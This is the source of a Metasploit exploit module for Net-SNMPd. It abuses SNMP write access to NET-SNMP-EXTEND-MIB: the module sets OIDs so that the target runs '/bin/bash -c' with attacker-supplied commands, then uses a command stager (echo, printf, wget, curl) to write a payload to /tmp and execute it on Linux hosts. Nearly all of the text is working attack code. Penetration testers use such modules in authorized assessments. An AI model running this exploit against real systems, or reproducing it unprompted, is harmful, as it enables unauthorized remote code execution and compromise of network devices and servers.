## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'snmp' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::SNMPClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution', 'Description' => %q( This exploit module exploits the SNMP write access configuration ability of SNMP-EXTEND-MIB to configure MIB extensions and lead to remote code execution. ), 'License' => MSF_LICENSE, 'Author' => ['Steve Embling at InteliSecure'], 'References' => [ [ 'URL', 'http://net-snmp.sourceforge.net/docs/mibs/NET-SNMP-EXTEND-MIB.txt'], [ 'URL', 'https://medium.com/rangeforce/snmp-arbitrary-command-execution-19a6088c888e'], [ 'URL', 'https://digi.ninja/blog/snmp_to_shell.php'], [ 'URL', 'https://sourceforge.net/p/net-snmp/mailman/message/15735617/'] ], 'Payload' => { 'Space' => 4096 #note space above is not a hard limit and can be increased if required #'BadChars' => "\x00" }, 'Targets' => [ ['Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux', 'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]}], ['Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux', 'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]}] ], #Not tested on other platforms but confirmed the above works. 'DisclosureDate' => "May 10 2004", 'DefaultTarget' => 0, ) ) register_options( [ OptString.new('FILEPATH', [true, 'file path to write to ', '/tmp']), OptString.new('CHUNKSIZE', [true, 'Maximum bytes of payload to write at once ', 200]), OptString.new('SHELL', [true, 'Shell to call with -c argument', '/bin/bash']) ]) end # The exploit method connects and sets: # NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4) # NET-SNMP-EXTEND-MIB::nsExtendCommand."tmp" = STRING: /path/to/executable # NET-SNMP-EXTEND-MIB::nsExtendArgs."tmp" = STRING: arguments def execute_command(cmd, opts = {}) oid_1 = '1.3.6.1.4.1.8072.1.3.2.2.1.21.3.116.109.112' oid_1_value = 4 oid_2 = '1.3.6.1.4.1.8072.1.3.2.2.1.2.3.116.109.112' oid_2_value = datastore['SHELL'] oid_3 = '1.3.6.1.4.1.8072.1.3.2.2.1.3.3.116.109.112' oid_4 = '1.3.6.1.4.1.8072.1.3.2.4.1.2.3.116.109.112.1' comm = datastore['COMMUNITY'] cmd = cmd.shellescape unless flavor == :bourne oid_3_value = "-c \"#{cmd}\"" vprint_status(oid_3_value) SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager| #vprint_status(manager.get_value("sysDescr.0")) varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value)) varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value)) varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value)) resp = manager.set([varbind1, varbind2, varbind3]) vprint_status(manager.get_value(oid_4).to_s) end #Hit same again, first rewrite appears to remove the MIB, the next reinstates it. SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager| varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value)) varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value)) varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value)) begin resp = manager.set([varbind1, varbind2, varbind3]) vprint_status(manager.get_value(oid_4).to_s) rescue SNMP::RequestTimeout print_good("SNMP request timeout (this is promising).") end end end def exploit execute_cmdstager(linemax: datastore['CHUNKSIZE'].to_i, :temp => datastore['FILEPATH']) end end